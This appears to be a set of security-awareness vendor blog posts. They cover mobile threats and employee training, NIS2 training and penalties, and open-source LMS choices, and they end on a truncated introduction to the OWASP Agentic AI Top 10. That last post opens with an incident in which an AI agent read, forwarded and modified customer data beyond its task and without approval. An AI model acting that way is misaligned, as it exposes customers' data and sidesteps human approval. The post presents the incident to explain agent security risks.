networks a long time ago. They access company data from smartphones on public WiFi, tablets at coffee shops, and laptops in home offices. That shift expanded your attack surface in ways most [security training programs](/blog/security-awareness-training-guide/) still haven't caught up with. Attackers noticed before you did. Mobile-specific attacks like [smishing](/blog/what-is-smishing-cybersecurity/) (SMS phishing) have increased over 300% in recent years, according to Proofpoint's 2023 State of the Phish report. The same employee who carefully evaluates every email on their work computer will tap a malicious link on their phone without a second thought. That gap between desktop caution and mobile carelessness is where breaches happen. ## Why are mobile devices a different security problem? Traditional training treats mobile as a smaller version of desktop. It's not. The entire interaction model changes, and attackers know exactly how to exploit those differences. ### Smaller screens kill scrutiny On a desktop, employees can hover over links, examine sender details, and evaluate content with full context visible. On a phone, URLs get truncated or hidden entirely. Email headers collapse. Sender verification requires extra taps most people skip. The whole design encourages speed over caution, which is exactly what [phishing attacks](/blog/phishing-detection/) exploit. ### Personal and work devices blur together Most employees use the same phone for work Slack messages and personal Instagram. Personal apps may access work data. Work credentials sit alongside personal accounts. Security policies compete with personal convenience. The boundary between "work device" and "personal device" effectively doesn't exist for most of your workforce. ### Always-on means always exposed Mobile devices are always within arm's reach. Text messages arrive at 11 PM. Push notifications demand immediate attention. Work communications mix with personal messages in the same notification drawer. [Security fatigue](/blog/security-awareness-training-effectiveness/) accumulates much faster when threats follow employees home and into bed. ### Attack channels multiply Desktop threats mostly come through email. Mobile devices face threats from SMS, messaging apps like WhatsApp and Telegram, [voice calls](/blog/vishing-awareness/), malicious apps, compromised WiFi networks, and QR codes directing to malicious sites. Messaging app attacks in particular are rising fast; our [WhatsApp social engineering exercise](/exercises/whatsapp-social-engineering/) covers the tactics attackers use on these platforms. Traditional [email-focused training](/blog/email-security-training/) misses most of these channels entirely. ## What mobile threats actually hit your workforce? ### Smishing is the new phishing Text message attacks have gotten disturbingly good. The lures are familiar: package delivery failures, account verification requests, payment update notices, IT department warnings about expiring VPN access. People trust text messages more than email. There are no spam filters on SMS. Urgency feels more personal and pressing on a phone. Shortened URLs hide true destinations. And the instinct to quickly tap and respond works in the attacker's favor every time. We wrote an [in-depth guide to smishing](/blog/what-is-smishing-cybersecurity/) if you want the full breakdown. ### Mobile phishing hits harder The same [phishing email](/blog/phishing-simulation-training/) that an employee would catch on desktop becomes dangerous on mobile. Links are harder to verify before tapping. Fake login pages look identical to real ones on a small screen. Mobile email apps provide less context about senders and URLs. Studies show mobile users are 18x more likely to click phishing links than desktop users. That number alone should change how you think about training. ### Vishing targets mobile workers specifically Phone calls targeting remote employees are on the rise. IT support impersonation requesting credentials. Executive impersonation demanding urgent wire transfers. Vendor calls requesting payment details. Caller ID spoofing makes every one of these look legitimate. We cover the mechanics in our [vishing awareness guide](/blog/vishing-awareness/). ### Malicious apps slip through Fake versions of legitimate apps, apps requesting absurd permissions, malware disguised as utilities. Even official app stores occasionally host malicious applications that survive review for weeks before getting pulled. Employees installing "just one quick app" for a work task can open a door that stays open. This overlaps with the broader [shadow IT problem](/blog/shadow-it-security-risks/), where work-adjacent apps adopted without IT approval create unmonitored data flows and credential sprawl. ### Networks you can't trust Evil twin WiFi networks that mimic legitimate ones. Man-in-the-middle attacks on public WiFi. Network sniffing capturing unencrypted data. Remote workers connect to untrusted networks constantly, and most have no idea what that exposes. ### QR codes bypass everything QR codes have become a quiet attack vector. Codes directing to phishing sites. Malicious codes placed physically over legitimate ones. Payment fraud through fake QR codes. The convenience of scanning bypasses every instinct employees have about checking URLs. [Quishing](/blog/quishing/) (QR code phishing) is growing fast because QR codes bypass email filters entirely. Our [QR code phishing exercise](/exercises/qr-code-phishing/) teaches employees to recognize and verify codes before scanning. ## What mobile security training needs to cover ### Teaching smishing recognition Red flags employees should learn to spot: unexpected messages about accounts or deliveries, urgency demanding immediate action, links in text messages (especially shortened URLs), requests for personal or financial information, and messages from unknown numbers that claim familiarity. The safe response is straightforward. Never tap links in unexpected texts. Verify through official apps or websites directly. Call companies using numbers from their official sites, not numbers in the message. Report suspicious messages before deleting them. Question any text requesting credentials or payment. [Hands-on smishing exercises](/exercises/smishing/) that simulate these scenarios teach faster than any slide deck. ### Mobile email safety Adapting [email security habits](/blog/email-security-training/) for mobile requires specific techniques. Employees should expand sender details before taking action. Long-pressing links previews destinations before tapping. Sensitive accounts should be accessed through apps, not through links in emails. And when something feels off on mobile, the best move is to wait and verify on desktop where you have full visibility. ### App hygiene Only download from official stores. Verify developer identity and reviews before installing. Check permissions before granting access, and question any app that requests permissions unrelated to its function. Review permissions periodically and remove apps you no longer use. Apps that stop receiving updates should be deleted. ### Network safety for remote workers Public WiFi demands caution: avoid accessing sensitive data on public networks, use VPN when connecting to anything untrusted, verify network names before connecting, and disable auto-connect to open networks. Home networks matter too. Changing default router passwords, using strong WiFi encryption (WPA3 where available), keeping router firmware updated, and separating work and personal networks when possible. Most employees never think about their home router as a security concern, but it is. ### Physical device security Strong passcodes or biometric locks, device encryption, auto-lock with short timeout, remote wipe capability. These are non-negotiable basics. Find-my-device features should be enabled. Lost devices need to be reported immediately, not the next day. And employees should know how to remotely wipe their device before someone else accesses it. ### BYOD policies that actually work For organizations allowing personal devices, employees need clear expectations: keep devices updated, use approved security apps, separate work and personal data where possible, and report security incidents that affect their personal devices. Your organization owes them clear policies, technical controls that respect their privacy, support for security tools, and incident response procedures that don't make them feel punished for reporting problems. ## How do you deliver mobile training people will actually complete? ### Design for the device Training about mobile security should actually work on a mobile device. That means short modules (5-10 minutes), touch-friendly interfaces, content that's readable on small screens, and offline access for people in transit. If your mobile security training requires a desktop to complete, you've already lost. ### Simulate real attacks Testing [smishing recognition](/blog/what-is-smishing-cybersecurity/) through simulated messages (where legal and disclosed) gives employees real practice. Recognition exercises using example messages, reporting practice for suspicious texts, and feedback on detection accuracy build reflexes that lectures never will. The same approach works for [phishing simulations](/blog/phishing-simulation-training/) and [social engineering scenarios](/blog/social-engineering-attacks/). ### Use realistic scenarios The best [security exercises](/blog/cybersecurity-awareness-exercises/) put employees in situations they actually encounter: receiving a suspicious text while traveling, connecting to WiFi at a conference, installing an app someone recommended for work, receiving an urgent call from "IT support." Abstract warnings don't stick. Concrete scenarios do. ### Keep it short and frequent Mobile learners benefit from brief, focused content. Single-topic modules. Quick reference materials they can pull up in the moment. Just-in-time reminders when threats are trending. Easy-to-access resources that respect their time. ## Different roles face different mobile risks Remote workers who rarely see an office need training on home network security, VPN usage, secure video conferencing, and physical workspace security. Traveling employees deal with airport and hotel WiFi risks, international travel considerations, device theft prevention, and secure communication on the move. Field workers operating from various locations need physical device security awareness, public location awareness, and communication security in shared spaces. Executives face targeted mobile threats. They're high-value targets for sophisticated [vishing](/blog/vishing-awareness/) campaigns, need secure communication channels for sensitive discussions, and require extra device security during travel. ## How do you roll out a mobile security program? Start with assessment. What devices does your workforce actually use? What's your mix of corporate and BYOD? What mobile-related incidents have already happened? Where's the baseline awareness? You can't fix what you haven't measured. Then establish policies. Acceptable use guidelines, BYOD requirements, incident reporting procedures, security tool requirements. Keep them clear enough that a non-technical employee can follow them without a support ticket. Layer in technical controls: mobile device management where appropriate, VPN for remote access, multi-factor authentication, remote wipe capability. These support training but don't replace it. An MDM won't stop an employee from responding to a smishing text with their credentials. Deploy training with baseline modules for everyone and role-specific content for high-risk groups. Regular reinforcement matters more than a comprehensive one-time course. And simulation exercises give you real data on what's working. Then keep improving. Review policies regularly. Update training content as threats evolve. Track metrics and adapt. The mobile threat environment changes faster than the desktop one, and your program needs to keep pace. ## How do you measure mobile security training effectiveness? Behavioral metrics tell you if training is working: | Metric | Poor | Acceptable | Strong | |--------|------|------------|--------| | Smishing click rate | Over 30% | 10-15% | Under 5% | | Suspicious message reporting | Under 20% | 40-60% | Over 70% | | VPN usage compliance | Under 50% | 70-80% | Over 90% | | Device security compliance | Under 60% | 80-90% | Over 95% | Track mobile-related security incidents, time to report mobile threats, device loss/theft rates, and malicious app installations. Pair those with engagement data: completion rates, mobile training access patterns, and employee feedback. ## What mistakes undermine mobile security programs? Training designed only for desktop doesn't address mobile-specific threats and doesn't even display well on a phone. If employees can't take the training on the device you're training them to protect, the irony should be a wake-up call. Focusing on [email phishing](/blog/phishing-simulation-training/) while ignoring smishing leaves a massive gap. Text message threats hit employees daily, and most organizations don't simulate them at all. Allowing personal devices for work without clear security expectations or support creates unspoken risk. Employees assume that if the company allows BYOD, the company has security covered. They don't. Relying on MDM and technical controls without training is like installing locks without teaching people to close the door. Technical controls and training work together. Neither alone provides adequate protection. And covering mobile security once during onboarding, then never revisiting it? Mobile threats evolve faster than any other attack category. One-time training becomes obsolete within months. ## Where this is heading AI-generated voice calls (deepfake vishing) are already being used in targeted attacks. Smishing campaigns are getting more personalized and harder to distinguish from legitimate messages. Attacks through messaging apps will increase as organizations rely more on platforms like Slack and Teams. IoT device vulnerabilities will expand the mobile attack surface further. Training will need to evolve in response. More immersive mobile simulations, better integration with daily workflows, personalized training paths based on role and risk profile, and real-time threat awareness updates that reach employees before new attack waves hit. ## The bottom line Your employees carry potential entry points for attackers in their pockets every day. The phone in their hand is connected to your data, your network, your customers. Traditional desktop-focused training doesn't prepare them for the threats that arrive by text, voice call, malicious app, or compromised WiFi network. Mobile security training closes that gap. Not with another compliance checkbox, but with practical, hands-on preparation like our [Mobile Device Security](/exercises/mobile-device-security/), [smishing simulations](/smishing-simulations/), and [Vishing](/exercises/vishing/) exercises that build the instincts employees need when they're making split-second decisions on a four-inch screen. --- *Build mobile security awareness through hands-on practice. Try our free [Mobile Device Security](/exercises/mobile-device-security/), [Mobile App Permissions](/exercises/mobile-app-permissions/), [Smishing](/exercises/smishing/), and [Vishing](/exercises/vishing/) exercises, or practice [IoT & Smart Device Security](/exercises/iot-smart-device-security/) for the home-office attack surface. Browse our full [security awareness training catalogue](/catalogue/security-awareness/) for more.* --- ### NIS2 Penalties & Article 20 Liability Source: https://ransomleak.com/blog/nis2-training/ NIS2 is the EU Network and Information Systems Directive 2. It came into force on October 17, 2024 after a two-year transposition window, and it requires roughly 160,000 European organizations to implement cybersecurity risk-management measures that include workforce training. Management bodies are personally accountable for approving and following that training. If you run security inside an essential or important entity, the training question is no longer abstract. Auditors and national competent authorities now expect documented evidence that staff and leadership have been trained, that the content reflects current threats, and that management is involved rather than observing from a distance. ## What is NIS2? NIS2 (Directive (EU) 2022/2555) is the European Union's expanded cybersecurity framework for network and information systems. It replaces the original 2016 NIS Directive and closes several gaps the first version left open, most notably the weak enforcement and narrow sector coverage that limited NIS1's impact. The directive entered into force on January 16, 2023. Member States had until October 17, 2024 to transpose it into national law, though several countries missed that deadline and continued to legislate into 2025 and 2026. NIS2 is enforced through national competent authorities in each EU Member State. That means the same directive produces slightly different enforcement regimes in Germany, France, Ireland, Spain, and Italy. The training obligations themselves are uniform across the bloc. For the Article 21(2)(g) framework breakdown end-to-end, see our [NIS2 cybersecurity training framework guide](/compliance/nis2/). This post focuses on Article 20 management-body liability and the EUR 10M / 2% turnover penalty math. ## Who must comply with NIS2? NIS2 splits covered organizations into two tiers: essential entities and important entities. The distinction matters because penalties, supervisory regimes, and reporting obligations differ between them. **Essential entities** include large organizations in sectors considered critical to public welfare. These cover energy, transport, banking, financial market infrastructure, healthcare, drinking water, wastewater, digital infrastructure, ICT service management, public administration, and space. **Important entities** include medium-sized organizations in those same critical sectors plus additional sectors such as postal and courier services, waste management, chemicals, food, manufacturing, digital providers, and research. Important entities face slightly lower maximum penalties but the same training requirements. ### NIS2 sector coverage | Tier | Size threshold | Sectors covered | |------|----------------|-----------------| | Essential | Large (250+ employees or EUR 50M+ turnover) | Energy, transport, banking, finance, health, water, digital infrastructure, ICT management, public administration, space | | Important | Medium (50-249 employees or EUR 10-50M turnover) | All essential sectors plus postal, waste, chemicals, food, manufacturing, digital providers, research | Size thresholds follow the EU Commission Recommendation 2003/361/EC definition of medium and large enterprises. Some smaller organizations fall into scope regardless of size, for example trust service providers, top-level domain registries, DNS providers, and public electronic communications providers. ## NIS2 training requirements (Articles 20 and 21) The directive places training obligations in two places. Article 20 governs management body accountability, and Article 21 enumerates the cybersecurity risk-management measures that must be implemented across the organization, including training. Article 20(2) states that management bodies "shall follow training" and that entities "shall offer similar training to their employees on a regular basis." This is the clearest training mandate in the directive and it applies equally to essential and important entities. Article 21(2)(g) requires "basic cyber hygiene practices and cybersecurity training" as one of ten minimum risk-management measures. This covers the whole workforce, not just management. The measures must be proportionate to the risk, the size of the entity, and the likelihood of incidents. Taken together, these two articles mean an NIS2-compliant training program must reach every employee with baseline awareness and every member of the management body with deeper, governance-focused content. Training that stops at general staff fails the Article 20(2) management clause. ## NIS2 training content that meets the requirement The directive does not prescribe a curriculum, but Article 21(2) enumerates the risk-management measures the entity must implement. Training content is most defensible when it maps clearly to those measures. A program that covers the following areas tends to satisfy auditor questions about scope: - Risk management policies and procedures - Incident handling, including detection, response, and recovery - Business continuity and crisis management - Supply chain security, including supplier and service-provider risk - Network and information systems security in acquisition, development, and maintenance - Policies for assessing the effectiveness of risk-management measures - Basic cyber hygiene and cybersecurity training - Cryptography and encryption policies - Human resources security, access control, and asset management - Use of multi-factor authentication, secured communications, and secured emergency channels Role-based tracks help. An [incident reporting exercise](/exercises/general-incident-reporting/) trains front-line staff on the notification path. A [supply-chain OAuth awareness module](/exercises/third-party-app-oauth-risks/) trains procurement and engineering on supplier risk. A management-body module covers governance responsibilities the directive places on leadership specifically. ## Penalties for NIS2 non-compliance Article 34 sets the penalty framework. For essential entities, administrative fines can reach at least EUR 10 million or 2% of the total worldwide annual turnover, whichever is higher. For important entities, the maximum is EUR 7 million or 1.4% of global turnover. The directive also allows national competent authorities to suspend certifications, prohibit the natural persons exercising managerial functions from continuing in that role, and publicly disclose infringements. Management liability is a structural feature of the directive, not an afterthought. Individual Member States sometimes set higher penalties in national transposition laws. The exact enforcement posture varies, so check the implementing legislation for the country your entity operates in. Ireland, Germany, and France have published detailed enforcement guidance as of early 2026. ## NIS2 vs NIS1 training expectations NIS1 required operators of essential services to take "appropriate and proportionate technical and organisational measures." The language was soft and enforcement uneven across Member States. Training was mentioned indirectly rather than mandated explicitly. NIS2 is stricter on three fronts. Management bodies are now personally accountable, reporting windows are shorter, and the scope of covered entities roughly triples the NIS1 population. Reporting obligations under Article 23 require an early warning within 24 hours of becoming aware of a significant incident, an incident notification within 72 hours, and a final report within one month. Front-line staff have to recognize significant incidents and start the notification chain immediately. That skill has to be trained, not assumed. ## How to build a NIS2-compliant training program There is no single template the Commission endorses. The steps below match what national competent authorities and larger audit firms look for in a defensible program. **Step 1: Gap assessment.** Map your current training content against Article 21(2) measures and Article 20(2) management obligations. Most organizations already have phishing and incident response content. The gaps tend to sit in supply chain, cryptography, and management-body training. **Step 2: Role-based tracks.** Build distinct content for general staff, technical staff, and management. A general-staff module on phishing and password hygiene is not enough for an IT administrator. A general-staff module alone is not enough for a board member. **Step 3: Documentation.** Keep granular records of who took which module, when, and what the content covered. Record policy acknowledgments. Record assessment scores where applicable. Auditors and competent authorities will sample the records, not trust your dashboard. **Step 4: Annual refresh and event-driven top-ups.** Annual training is the floor. Add top-up modules after incidents, after policy updates, and after sector-specific threat intelligence the competent authority issues. **Step 5: Incident-response drills.** Run tabletop exercises and simulation-based drills. An actual 24-hour early-warning clock is different from reading about the 24-hour rule. **Step 6: Management-specific modules.** Article 20(2) is explicit. Do not skip this. Management bodies need content on their own role, on the organization's risk posture, and on the implications of non-conformance. **Step 7: Audit-ready reporting.** Build dashboards that show coverage by role, by business unit, and by content area. Exportable reports save days during supervisory reviews. ## NIS2 training and other EU frameworks NIS2 rarely arrives alone. EU organizations typically have to align training with GDPR, DORA, and the Cyber Resilience Act simultaneously. The good news is that content overlaps meaningfully. | Framework | Training-relevant obligation | Overlap with NIS2 | |-----------|------------------------------|-------------------| | GDPR (EU 2016/679) | Articles 39 and 47 on DPO support and controller-processor training | Incident response, data handling, supply chain | | DORA (EU 2022/2554) | Article 13 on ICT-related incident training for financial entities | Incident response, third-party risk, business continuity | | Cyber Resilience Act (EU 2024/2847) | Manufacturer training on product security | Secure development, supply chain | | ISO/IEC 27001:2022 | Clause 7.3 on awareness | Policy literacy, incident reporting | A good [GDPR employee training program](/blog/gdpr-employee-training/) already covers several NIS2 measures. An [ISO 27001 awareness backbone](/blog/iso-27001-awareness-training/) covers several more. Organizations that build a single awareness program mapped across frameworks spend significantly less than those running parallel trainings. ## How RansomLeak supports NIS2 training RansomLeak training is interactive, scenario-based, and documented in a way NIS2 supervisors recognize. The catalogue covers the Article 21(2) topics in role-appropriate depth, and completion records export cleanly for audit review. The [privacy and compliance catalogue](/catalogue/privacy-compliance/) covers incident handling, data protection, and supply chain scenarios. The [security awareness catalogue](/catalogue/security-awareness/) covers phishing, credential hygiene, and access control. The [AI security catalogue](/catalogue/ai-security/) covers the AI-specific risks that several national competent authorities now call out as part of Article 21(2)(e) "ICT products and services" obligations. Our [compliance mapping guide](/compliance/) links each Article 21 measure to specific courses and exercises, which shortens the time between "we need NIS2 training" and "here is the program we rolled out." ## Frequently asked questions ### What is the NIS2 compliance deadline? October 17, 2024 is the transposition deadline in the directive itself. Member States were required to have national legislation in force by that date. Several Member States missed this and continued legislating through 2025 and into 2026, so the operative deadline in any specific country is whichever date the national transposition law sets. Registration obligations for specific sectors usually applied within a short window after national law entered into force. ### Who is covered by NIS2? Essential and important entities across 18 sectors including energy, transport, banking, health, water, digital infrastructure, public administration, postal, waste, chemicals, food, manufacturing, digital providers, and research. Size thresholds follow the EU medium and large enterprise definitions, with some smaller organizations in scope regardless of size. ### What are the NIS2 reporting windows? Article 23 requires an early warning to the competent authority or CSIRT within 24 hours of becoming aware of a significant incident, a follow-up incident notification within 72 hours, and a final report within one month. Recipients of service affected by the incident must also be informed when appropriate. ### Do NIS2 training requirements apply to management? Yes. Article 20(2) requires members of management bodies to follow training. The entity must also offer similar training to employees on a regular basis. A training program that ignores leadership does not satisfy the directive. ### What are the penalties for NIS2 non-compliance? Article 34 sets administrative fines up to EUR 10 million or 2% of global turnover for essential entities, and up to EUR 7 million or 1.4% of global turnover for important entities. National competent authorities can also suspend certifications and temporarily prohibit managerial individuals from exercising managerial functions. ### How often is NIS2 training required? The directive requires "regular" training. Most national guidance and audit practice reads this as at least annual, with event-driven top-ups after significant incidents, policy changes, or emerging threats in the sector. Annual alone is the floor, not a ceiling. ### Does NIS2 apply to non-EU companies? Some non-EU companies fall in scope if they offer services in the EU. Article 26 on jurisdiction and territoriality requires such entities to designate a representative in the EU. Cloud computing service providers, data centre providers, and DNS service providers are typical examples. ### How does NIS2 align with ISO 27001? Organizations already certified to ISO/IEC 27001:2022 cover most of NIS2's Article 21(2) measures because Annex A reorganizes controls into organizational, people, physical, and technological themes that overlap the NIS2 list. The [ISO 27001 awareness training](/blog/iso-27001-awareness-training/) program usually needs NIS2-specific additions on reporting windows, management body training, and supply chain notification. ### Can training records from NIS1 be used for NIS2? Sometimes, but expect gaps. NIS1 training tended to focus on technical operators. NIS2 requires wider coverage including management bodies and supply chain awareness. Old records may show general staff completion but fail to demonstrate the Article 20(2) management obligation. ### What counts as a significant incident under NIS2? A significant incident is one that has caused or is capable of causing severe operational disruption or financial loss, or that has affected or is capable of affecting natural or legal persons by causing considerable material or non-material damage. National competent authorities publish more specific thresholds by sector. ## Bottom line NIS2 is a directive with teeth, and training is one of the measures it tests explicitly. Management body accountability, reporting windows, and sector coverage all expanded compared to NIS1. Organizations that built a proper awareness program before October 2024 have a head start. Those still running a generic annual video will see findings in the first round of supervisory activity. Treat the 24-hour early-warning clock, the 72-hour notification, and the one-month final report as skills that require rehearsal. Treat the management body training as a real obligation rather than a nice-to-have. And document everything at a level of detail a competent authority can sample with confidence. If your entity is in scope and you want to see how scenario-based training maps to Article 21 measures, explore the [privacy and compliance catalogue](/catalogue/privacy-compliance/) or [book a walkthrough](/contact-us/) with our team. ## Sources - [Directive (EU) 2022/2555 (NIS2) - Official Journal](https://eur-lex.europa.eu/eli/dir/2022/2555/oj) - [European Commission: NIS2 Directive](https://digital-strategy.ec.europa.eu/en/policies/nis2-directive) - [ENISA: NIS2 Guidance](https://www.enisa.europa.eu/topics/risk-management/nis-directive) - [Commission Recommendation 2003/361/EC on SMEs](https://eur-lex.europa.eu/legal-content/EN/TXT/?uri=CELEX%3A32003H0361) --- ### Open Source LMS for SCORM Training Source: https://ransomleak.com/blog/open-source-lms-security-training/ Open source sounds appealing. No licensing fees. Full control. Customization freedom. But "free" software isn't free. Before committing your [security awareness training](/blog/security-awareness-training-guide/) to an open source LMS, you need to understand what you're actually signing up for. This guide covers the real tradeoffs, platform-by-platform comparisons, and the math that determines whether open source makes sense for your organization. If you also need free content to load into it, our [open-source security awareness training packages](/open-source-security-awareness-training/) are SCORM .zip files that import into any LMS here. ## Why do organizations consider open source LMS? The pitch is straightforward: why pay Cornerstone, Docebo, or SAP SuccessFactors tens of thousands annually when Moodle exists? There are legitimate reasons to go this route. Budget constraints hit hard in education, nonprofits, and government. Some industries mandate on-premise hosting for data sovereignty. Others need customization deeper than any commercial platform allows. And some teams have a philosophical commitment to open source or already have LMS expertise in-house. Then there are the less convincing reasons. "It's free" (it's not). "We want to avoid vendor lock-in" (content lock-in is separate from platform lock-in). "Commercial platforms are overpriced" (maybe, but compare total cost, not just license fees). ## Open source LMS options for SCORM security training ### Moodle The most widely deployed open source LMS globally. Over 300 million users across 240+ countries. If you've heard of one open source LMS, it's this one. SCORM 1.2 support is native and reliable. SCORM 2004 is a different story. Basic packages work fine, but complex sequencing can break in ways that eat hours of debugging time. For most [SCORM security training packages](/blog/scorm-security-training/), this is workable. Where Moodle shines for security training: mature documentation, an active community for troubleshooting, a massive plugin ecosystem, and solid [compliance tracking](/blog/compliance-training/). Where it falls short: the interface looks like it was designed in 2012 (because parts of it were), the mobile experience is merely functional, and SCORM 2004 advanced features remain unreliable. You also need PHP and MySQL expertise just to keep the lights on. Setup complexity is moderate. Standard LAMP stack. Most web hosting handles small deployments. Scale requires dedicated infrastructure. Moodle works well for organizations with 50 to 5,000 users and existing technical staff. Above 5,000 users, performance tuning becomes non-trivial. ### Canvas (open source) Instructure's Canvas offers both commercial SaaS and open source versions. The open source version lacks some features but provides solid core functionality. Here's the catch for security training: native SCORM support is limited. You need an LTI integration (like SCORM Cloud) or community plugins. It works, but adds complexity and potential cost on top of the "free" platform. The interface is modern and intuitive. Mobile experience beats Moodle handily. The API is strong for integrations. But the open source version lacks the analytics available in SaaS, the self-hosted community is smaller than Moodle's, and the Ruby on Rails stack requires specific expertise. Setup complexity is high. Ruby on Rails, PostgreSQL, Redis, multiple services. This is not a casual deployment. Canvas open source makes sense if you're already invested in the Canvas ecosystem or have Rails expertise on staff. Starting fresh for [security awareness training](/blog/security-awareness-training-guide/)? The complexity rarely justifies the benefits. ### Open edX Built by MIT and Harvard for MOOCs. Now open source and used by organizations worldwide. SCORM support comes via the SCORM XBlock, which is community-maintained. It works for standard packages but gets less testing than Moodle's native support. Open edX handles scale brilliantly (millions of users). It has strong content authoring built in, modern architecture, and native video and interactive content support. But it's overkill for most security training needs. SCORM is an afterthought, not a core feature. The learning curve for administrators is steep, and infrastructure requirements are heavy. Setup complexity is very high. Docker-based deployment, multiple services, significant infrastructure overhead. It's using a crane to hang a picture frame. ### Chamilo Lesser-known but worth your attention. This is the hidden gem for pure SCORM deployment. SCORM 1.2 support is full. SCORM 2004 support is full. That's the best native SCORM support among open source options, no plugins required. The interface is simple with a low learning curve. Server requirements are lower than alternatives. The community is smaller than Moodle's (especially strong in Latin America), and documentation is less comprehensive. But if your primary use case is "upload SCORM packages, track completion," Chamilo does it with minimal overhead. Setup complexity is low. PHP/MySQL like Moodle but simpler configuration. ### ILIAS German-origin LMS popular in European education and government. SCORM 1.2 and SCORM 2004 are both fully supported, including complex sequencing. That makes ILIAS the best-in-class open source option for SCORM 2004. It also has strong compliance and audit trail features, which matters if you're in a regulated industry delivering [compliance training](/blog/compliance-training/). The downsides: the interface feels enterprise-heavy, the community is smaller and concentrated in Europe, documentation is primarily in German, and most LMS administrators have never touched it. Setup complexity is moderate. PHP-based, similar to Moodle. If you need SCORM 2004 sequencing to work reliably, ILIAS is your best open source bet. For basic SCORM 1.2 packages, it's more than you need. ## Side-by-side comparison | Feature | Moodle | Canvas OSS | Open edX | Chamilo | ILIAS | |---------|--------|------------|----------|---------|-------| | SCORM 1.2 | Native | Via LTI/Plugin | Via XBlock | Native | Native | | SCORM 2004 | Partial | Via LTI/Plugin | Via XBlock | Full | Full | | Setup difficulty | Medium | High | Very High | Low | Medium | | Community size | Very Large | Medium | Medium | Small | Small | | Mobile app | Yes | Yes | Yes | Limited | Limited | | Modern UI | No | Yes | Yes | Moderate | No | | Self-hosted cost | Low-Medium | Medium-High | High | Low | Low-Medium | ## What is the real cost of "free" LMS? Open source LMS licensing costs $0. The actual deployment? That's a different number entirely. ### Server infrastructure A small deployment of 100 to 500 users runs $50 to $150 per month on cloud hosting, or $100 to $200 on a dedicated server. Bump that to 500 to 2,000 users and you're looking at $200 to $500 per month, plus database optimization and a CDN for SCORM content at another $50 to $100. Large deployments above 2,000 users need load-balanced infrastructure at $500 to $2,000 monthly, database clustering, and dedicated DevOps attention. The "free" software starts looking expensive. ### Administration time Someone needs to install and configure the platform, apply security patches (this is critical for internet-facing systems), manage backups and disaster recovery, troubleshoot SCORM package issues, handle user management and permissions, and generate compliance reports. Estimate 5 to 20 hours monthly depending on scale. At $50 to $100 per hour in IT cost, that's $3,000 to $24,000 annually in labor alone. ### SCORM troubleshooting When SCORM packages don't work on a commercial LMS, you contact vendor support. When they don't work on an open source LMS, you're on your own. Common issues include tracking data not saving, completion status not updating, bookmarking failures, and mobile compatibility problems. Each one can consume hours of debugging time with no guarantee of resolution. I've seen teams spend entire weeks chasing a single [SCORM tracking bug](/blog/scorm-security-training/) that a vendor support call would have resolved in 30 minutes. ### Total cost of ownership comparison For 1,000 users on open source: hosting at $300 per month ($3,600 annually), admin time at 10 hours monthly at $75 per hour ($9,000), plus roughly 20 hours of troubleshooting at $75 ($1,500). That's about $14,100 in year one and $12,600 in subsequent years. For 1,000 users on a commercial LMS: platform license at $5 to $15 per user ($5,000 to $15,000), admin time at 3 hours monthly at $75 ($2,700). That's $7,700 to $17,700 per year. The math often favors commercial platforms unless you have existing technical staff with LMS expertise, you're deploying to 5,000+ users where economy of scale kicks in, or you have specific requirements that commercial platforms genuinely cannot meet. ## When does open source LMS make sense? Go open source if your IT team already runs Moodle or similar, if data sovereignty requires on-premise hosting, if you're in education with existing open source infrastructure, if you need deep customization commercial vendors won't provide, or if your budget genuinely cannot accommodate commercial licensing. Use commercial or hosted platforms if security training is your primary use case (not general learning), you don't have dedicated LMS administration resources, you need reliable vendor support, time-to-deployment matters more than licensing cost, or SCORM troubleshooting would fall on non-experts. There are [good alternatives to major vendors](/blog/knowbe4-alternatives/) worth exploring too. ## The hybrid approach: security training platforms with built-in LMS Security awareness training vendors increasingly offer both SCORM packages for your existing LMS and a built-in LMS for standalone deployment. This hybrid approach gives you SCORM packages if you have infrastructure, a hosted platform if you don't, vendor support for security-specific tracking, and no need to debug SCORM issues yourself. For organizations whose primary need is [security awareness training](/blog/security-awareness-training-guide/) rather than general e-learning, a dedicated security training platform often proves more cost-effective than building open source LMS infrastructure from scratch. If you're specifically after [free training options](/blog/free-security-awareness-training/), there are legitimate paths that don't require setting up your own servers. ## How do you choose between open source and commercial LMS? Answer these honestly: Do you have LMS administration expertise on staff? If yes, open source is viable. If no, factor in the learning curve or hiring costs. What's your user count? Under 500, commercial is often cheaper. Between 500 and 5,000, either works. Over 5,000, open source economics improve. Do you need SCORM 2004 advanced features? If yes, go with ILIAS or commercial. If no, any option works. Is security training your only LMS use case? If yes, consider a dedicated security training platform. If no, a general LMS makes more sense. What's your timeline? If weeks, go commercial for faster deployment. If months, open source is viable. ### Recommended path by scenario A small company with 50 to 200 employees and no IT staff should use a hosted security training platform with built-in LMS. Open source overhead doesn't make sense at that scale. [Start with free exercises](/catalogue/) to get training going immediately. A medium company with 200 to 1,000 employees and basic IT should evaluate commercial LMS first. If cost is prohibitive, Moodle or Chamilo with managed hosting is the fallback. A large enterprise with 1,000+ employees and dedicated IT can go either way. The decision comes down to customization needs, existing infrastructure, and strategic preference. Education and government organizations with compliance requirements often find open source mandated or strongly preferred. Moodle is the safe choice. ILIAS if you need reliable SCORM 2004. ## The bottom line Open source LMS platforms can handle [security awareness training](/blog/cybersecurity-awareness-exercises/). Moodle, Chamilo, and ILIAS all support SCORM packages reliably for standard use cases. But "can" and "should" are different questions. The real cost of open source includes infrastructure, administration, and troubleshooting time that commercial platforms absorb into their licensing fees. Make the decision based on total cost of ownership, existing capabilities, and strategic fit. Not just licensing fees versus zero. --- *Need SCORM packages for your LMS? Or prefer a platform that handles both content and delivery? [Explore our security training options](/lms-integration/) to find the right fit for your infrastructure.* --- ### OWASP Agentic AI Top 10 Source: https://ransomleak.com/blog/owasp-agentic-ai-top-10/ An AI agent at a fintech company was tasked with resolving a customer's billing dispute. It accessed the billing system, issued a refund, then escalated the ticket internally. Along the way it read the customer's full payment history, forwarded account details to an external logging service it had been configured to use, and modified the customer's subscription tier without approval. Every action was technically within the permissions it had been granted. Nobody told the agent to do most of that. It chained together actions it deemed logical. Each step made sense in isolation. Together, they created a data exposure incident that took weeks to untangle. This is the class of risk the OWASP Agentic AI Top 10 was built to address. Not the vulnerabilities of the language model itself, but the dangers that emerge when AI systems act autonomously across multiple tools, APIs, and data sources. ## What is the OWASP Agentic AI Top 10? The OWASP Agentic AI Top 10 is a standardized ranking of security risks specific to AI systems that take autonomous, multi-step actions. Published by the Open Worldwide Application Security Project in late 2025, the list focuses on what goes wrong when AI agents operate with real-world permissions: executing code, calling APIs, reading databases, and making decisions without human approval at every step. The ten risk categories are cascading 